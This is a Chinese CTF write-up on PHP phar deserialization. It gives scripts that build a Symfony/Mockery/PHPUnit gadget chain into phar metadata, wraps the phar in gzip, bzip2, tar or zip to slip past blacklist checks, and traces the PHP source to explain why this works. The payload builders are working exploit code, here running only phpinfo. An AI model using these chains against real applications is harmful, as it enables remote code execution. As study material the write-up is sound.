CTF Web安全

从虎符线下CTF深入反序列化利用

Posted on 2021-04-28,6 min read

前言

L3H的师傅们太强了。

1、gzip

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
	class ImportConfigurator{
		private $parent;
		private $route;
		public function __construct($class){
			$this->parent=$class;
			$this->route='test';
		}
	}
}

namespace Mockery{
	class HigherOrderMessage{
		private $mock;
		private $method;
		public function __construct($class){
			$this->mock=$class;
			$this->method='generate';
		}
	}
}

namespace PHPUnit\Framework\MockObject{
	final class MockTrait{
		private $mockName;
		private $classCode;
		public function __construct(){
			$this->mockName='123';
			$this->classCode='phpinfo();';
		}
	}
}

namespace{
	use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
	use \Mockery\HigherOrderMessage;
	use \PHPUnit\Framework\MockObject\MockTrait;
	$c=new MockTrait();
	$b=new HigherOrderMessage($c);
	$a=new ImportConfigurator($b);
#	file_put_contents('.phar/.metadata',serialize($a));
	@unlink("phar.phar");
	$phar=new Phar("phar.phar");
	$phar->startBuffering(); 
	$phar->setStub('GIF89a'."__HALT_COMPILER();"); 
	$phar->setMetadata($a); 
	$phar->addFromString("test.txt", "test");
	$phar->stopBuffering();
}

?>

生成完phar再执行gzip phar.phar
效果如下。可以过黑名单检测

2、tar

<?php
省略....
namespace{
	use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
	use \Mockery\HigherOrderMessage;
	use \PHPUnit\Framework\MockObject\MockTrait;
	$c=new MockTrait();
	$b=new HigherOrderMessage($c);
	$a=new ImportConfigurator($b);
	file_put_contents('.phar/.metadata',serialize($a));
    //为什么这里要写到.phar/.metadata呢。
    //分析看最后
}
?>

tar -cf test.tar .phar/

3、zip

$a=serialize(new a());
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($a);
$zip->close();

不过zip的注释里不能有00.高版本可以用大写S,16进制替换%00。注意命名空间类的\和16进制的\冲突。
解决:\替换\5c
别把不是S里的\也替换了哦。

4、bz2

<?php
省略....
namespace{
	use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
	use \Mockery\HigherOrderMessage;
	use \PHPUnit\Framework\MockObject\MockTrait;
	$c=new MockTrait();
	$b=new HigherOrderMessage($c);
	$a=new ImportConfigurator($b);
	@unlink("phar.phar");
	$phar=new Phar("phar.phar");
	$phar->startBuffering(); 
	$phar->setStub('GIF89a'."__HALT_COMPILER();"); 
	$phar->setMetadata($a); 
	$phar->addFromString("test.txt", "test");
	$phar->stopBuffering();
}
?>

bzip2 phar.phar

源码分析

实验环境:file_get_contents('phar://phar.phar.gz')
首先看下调用栈

file_get_contents一直到phar_wrapper_open_url。这段一直是file_get_contents解析phar伪协议的。phar_wrapper_open_url往上。才是真正解析phar文件的代码

这里我们从phar_parse_url开始跟

path就是我们的文件名。跟进

发现87行的resource->host = arch;arch从哪来
只找到一个调用点(74行的phar_split_fname)
继续跟进。发现在phar_split_fname中。进行了赋值。

根据之前的调用栈。继续跟进phar_open_from_filename。第一个参数是文件名

跟进发现两个和phar有关的函数

第一个红框内。可以大致看懂。如果不是.phar结尾。那么is_data为True。带入phar_open_parsed_phar函数(这个函数和我们的绕过没啥关系。只是分析源码时多看看)
这部分代码大致意思就是。如果是phar就检测.phar/stub.php文件。判断phar文件格式是否正确

跟进phar_open_from_fp。这个才是绕过关键字检测的关键

一下就看到了

	const char token[] = "__HALT_COMPILER();";
	const char zip_magic[] = "PK\x03\x04";
	const char gz_magic[] = "\x1f\x8b\x08";
	const char bz_magic[] = "BZh";

说明这四种文件之后都会有操作。最后被phar解析。我们先看gz
这里我们要关注几个变量fp(流)、fname(文件名)、filter(过滤器)、temp(临时文件名)

1616行。pos是我们的文件头。gz_magic是gzip的文件头。这里比较。相同就会认为这是个gzip文件。看到1634行。这里创建了个临时文件赋值给temp。
到了1639行。创建zlib过滤器赋值给filter
然后调用了php_stream_filter_append(&temp->writefilters, filter);对我们压缩过的gzip phar进行解码
1657行。将临时文件中解压的文件内容又给了fp。最后把temp赋值给fp。
此时。我们的fp指向的是解压好的文件内容。

根据函数名。。这就是把我们的文件传入。然后当作phar解析了啊。之后就是一堆获取metadata。然后var_unserialize(metadata)的过程。

这就是完整的解析phar过滤。至于绕过。我们再看看那几个判断文件头的

欸。在源码中。一共就这5种可以触发phar的操作

普通phar
gzip
bzip2
tar
zip

整个分析。很长。但是动手去看去分析。还是比较容易懂的

最后

我们谈谈为啥tar要写序列化后的字符串到./phar的xxx文件。
还有为啥zip要将序列化后的字符串写到注释里呢

先说tar

这个zend_hash_str_update_mem。根据名字看。貌似是个根据内存更新字符串的函数

把 entry.filename更新后返回给了newentry。
接着。memcmp(entry.filename, ".phar/.metadata", sizeof(".phar/.metadata")-1
判断文件名是否以.phar/.metadata开头。注意。这里memcmp是比较文件前sizeof((".phar/.metadata")-1)个字符是否相等。
所以。写字符串到.phar/.metadata任意字符。都是可以被反序列化的
然后就是调用phar_tar_process_metadata去phar_parse_metadata(&metadata)开始反序列化了

再说zip
不多说了。注释里有。如果有注释内容。就读然后传入parse

结尾

第一次分析PHP底层。不会C就en看。有错欢迎指正

下一篇: 虎符2021线下 tinypng →